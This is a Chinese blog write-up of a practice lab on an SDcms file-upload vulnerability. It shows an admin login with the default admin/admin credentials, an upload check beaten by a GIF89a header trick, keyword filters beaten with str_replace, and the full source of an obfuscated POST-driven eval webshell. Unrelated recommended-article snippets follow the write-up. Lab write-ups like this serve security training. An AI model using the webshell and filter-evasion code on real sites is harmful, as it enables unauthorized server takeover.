靶场练习——SDcms文件上传漏洞靶场

2023-09-15 11:19:40


前言

今次练习的是SDcms靶场,该靶场是一个文件上传漏洞系列的靶场,靶场如下:


一、寻找网站后台页面

1、点击请登录,查看URL

在这里插入图片描述
如图所示,登录页面参数是?m=login

2、修改URL参数,找到后台登录页面

尝试把上面URL的参数login改成admin,如下图,进入成功。
在这里插入图片描述


二、登录后台管理系统

1、不能使用爆破

这里第一反应使用了账号密码爆破,发现对访问的IP有限制,一旦超过错误访问次数,就会被限制登录,图片如下:
在这里插入图片描述

2、使用弱口令登录

使用账号密码admin/admin,成登录网站后台


三、寻找文件上传点

在这里插入图片描述
找到如图所示的文件上传点


四、上传文件操作

1、上传普通的图片文件,查看数据包

在这里插入图片描述
如图找到文件上传的路径:/upfile/2023/09/

2、尝试上传PHP文件

在Burp中把 .jpg 改成 .php,然后再文件内容中添加GIF89a头部,发现php文件能上传成功。
在这里插入图片描述

尝试访问上传的PHP文件
在这里插入图片描述
访问成功。

3、上传phpinfo()函数,获取系统版本信息

在这里插入图片描述
发现上传失败了,这就说明这里存在过滤,把phpinfo函数给过滤了。

4、绕过过滤

使用str_replace函数来绕过过滤,方法如下:
在这里插入图片描述
绕过成功

打开网页查看
在这里插入图片描述

如下是绕过代码:

<?php
	$a = str_replace("0","","p0h0p0i0n0f0o");
	$a();
?>

五、尝试上传webshell

1、PHP版本注意点

上面可知,靶场使用的PHP版本是7.4.3,这个版本是无法使用assert()函数的,那么就只能使用eval来getshell,但eval使用上面str_replace方法是无法生效的。
这我就想到一个方法,既然eval无法使用str_replace方法绕过,那么我为什么不去使用PHP常见文件的方式,通过运行普通文件从而创建shell文件

2、尝试在上一级目录创建文件

如下图,发现上传失败
在这里插入图片描述
经过测试,发现fopen()函数和file_put_contents()函数同样都被过滤了,没办法,就对这两个函数同样做绕过。方法如下:
在这里插入图片描述
然后使用浏览器打开上传的PHP文件,让文件运行,再访问上级是否生成了shell.php文件
在这里插入图片描述
在这里插入图片描述
访问成功,这就说明shell.php文件成功生成。

3、写入shell

把里面的$data参数换成shell。
在这里插入图片描述

发现这样子还是能检测到eval关键字。不过不要紧,这里只是字符串,我们只需要把$data内容以eval为中心拆成两部分,然后再合并不就可以了吗。

在这里插入图片描述

4、测试shell

使用浏览器打开上传的PHP文件,让其运行
在这里插入图片描述

然后再利用webshell工具来连接测试
在这里插入图片描述
连接成功!

编写后的绕过代码:

GIF89a
<?php
	$filename = "../shell.php";
	$data1 = '<?php class ok{var $arg;function setarg($x){$this->arg = "".$x.null;return $this->arg;}function setarg1($x){$this->arg = "".$this->setarg($x).null;}function go(){ev';

	$data2 = 'al("$this->arg");}}$arr = array($_POST["x"]);$run = new ok;$run->setarg1($arr[0]);$run->go(); ?>';

	$data = $data1.$data2;

	$a = "f0o0p0e0n";
	$open = str_replace("0","",$a);
	$file = $open($filename,"w");

	$b = "f0i0l0e_p0u0t_contents";
	$write = str_replace("0","",$b);
	$write($filename, $data);

	fclose($file);
?>

注意:这里shell需要使用POST,使用GET蚁剑是无法连接的。


更多推荐

iMazing 2 .17.9最新官方中文版免费下载安装激活

iMazing2.17.9最新版是一款帮助用户管理IOS手机的应用程序,iMazing2最新版能力远超iTunes提供的终极的iOS设备管理器。IMazing与你的iOS设备(iPhone、iPad或iPod)相连,使用起来非常的方便。作为苹果指定的iOS设备同步工具。mazing什么意思iMazing2.17.9是一

springcloud相关面试题

目录springcloud相关面试题SpringCloud几个核心组件服务注册与发现组件——Eureka网关组件——Gateway路由:过滤:服务调用组件——Feign(默认包含Ribbon、Hystrix,基于Ribbon实现负载均衡)Ribbon和Feign调用服务的区别Feign、Ribbon、Hystrix三者

spring的ThreadPoolTaskExecutor装饰器传递调用线程信息给线程池中的线程

概述需求是想在线程池执行任务的时候,在开始前将调用线程的信息传到子线程中,在子线程完成后,再清除传入的数据。下面使用了spring的ThreadPoolTaskExecutor来实现这个需求.ThreadPoolTaskExecutor在jdk中使用的是ThreadPoolExecutor,用于自定义线程池。在spri

FTP和SFT区别记录笔记

项目中,需要使用ftp服务器上传下载文件,之前做过sftp的文件上传下载,以为是一个东西,迅速的把之前的工具类拿过来使用,发现文件为空,特此记录一下二者的区别和工具类。SFTP(SecureFileTransferProtocol)和FTP(FileTransferProtocol)是两种用于文件传输的协议,它们之间有

软考-操作系统

/4操作系统的作用进程进程的概念进程是程序的一次执行过程,没有程序就没有进程进程可有多个线程,线程可共享资源进程的两个基本属性:可拥有资源的独立单位可独立调度和分配资源的基本单位线程可共享:内存地址空间代码数据文件线程不可共享:程序计数器寄存器栈进程的状态进程的调度(PV操作)重重点同步是合作进程的直接制约问题互斥是申

Python-模块

python模块(Module),是一个python文件,以.py结尾,模块可以定义函数,类和变量。模块的导入方法[from模块名]import[模块|类|变量|函数|*][as别名]import模块名importtimetime.sleep(5)from模块import功能fromtimeimportsleepsle

MyBatis面试题(二)

文章目录前言一、MyBatis与Hibernate有哪些不同?二、MyBatis的好处是什么?三、简述Mybatis的Xml映射文件和Mybatis内部数据结构之间的映射关系?四、什么是MyBatis的接口绑定,有什么好处?五、接口绑定有几种实现方式,分别是怎么实现的?六、什么情况下用注解绑定,什么情况下用xml绑定?

PMP是水证吗,它的含金量到底怎么样?

不是水证,毕竟到现在为止,国内已经有50万人拿到证了,没用干嘛考呢,可能有人是跟风考,考了也没处用,自然是水证,花的钱打水漂了嘛。(PMP干货放在文末了)所以建议啊,是项目经理等在职的,或者真的是想从事项目管理行业,又或者真的想学习项目管理的人的去考,如图,一般都是技术转项目、项目经理之类的是主要考试人群。我来说下pm

如何使用远程桌面软件进行远程工作

远程工作提供了更大的灵活性和自由度,使得可以在任何地点工作。而要实现高效的远程工作,一个关键的工具就是远程桌面软件。本文将详细介绍如何使用远程桌面软件进行远程工作,以帮助读者提高工作效率。一、了解远程桌面软件的基本原理远程桌面软件是一种通过网络连接,将本地计算机的桌面映射到远程计算机上的工具。它允许用户在远程计算机上操

Cesium 问题:二三维切换矩形区域展示不够完整

文章目录问题分析问题设置影响图层覆盖范围时,出现三维和二维切换后展示不够完整的情况,Cesium.Rectangle.fromDegrees(-180,-90,180,90)创建的矩形区域,按理说是已经设置了全覆盖,但切换二维后并不全覆盖例如三维下切换到二维分析Cesium.Rectangle.fromDegrees(

资讯| 工信部拟筹建元宇宙标准化工作组;《权游》作者起诉OpenAI

元宇宙赛道工信部:优先开展“元宇宙+工业制造”等行业应用标准研制9月18日,工业和信息化部科技司就《工业和信息化部元宇宙标准化工作组筹建方案(征求意见稿)》(以下简称《方案》)公开征求意见。工业和信息化部元宇宙标准化工作组工作范围包括五个方面:一是研究分析元宇宙领域标准化需求方向,建设和维护元宇宙行业标准体系,提出元宇

热文推荐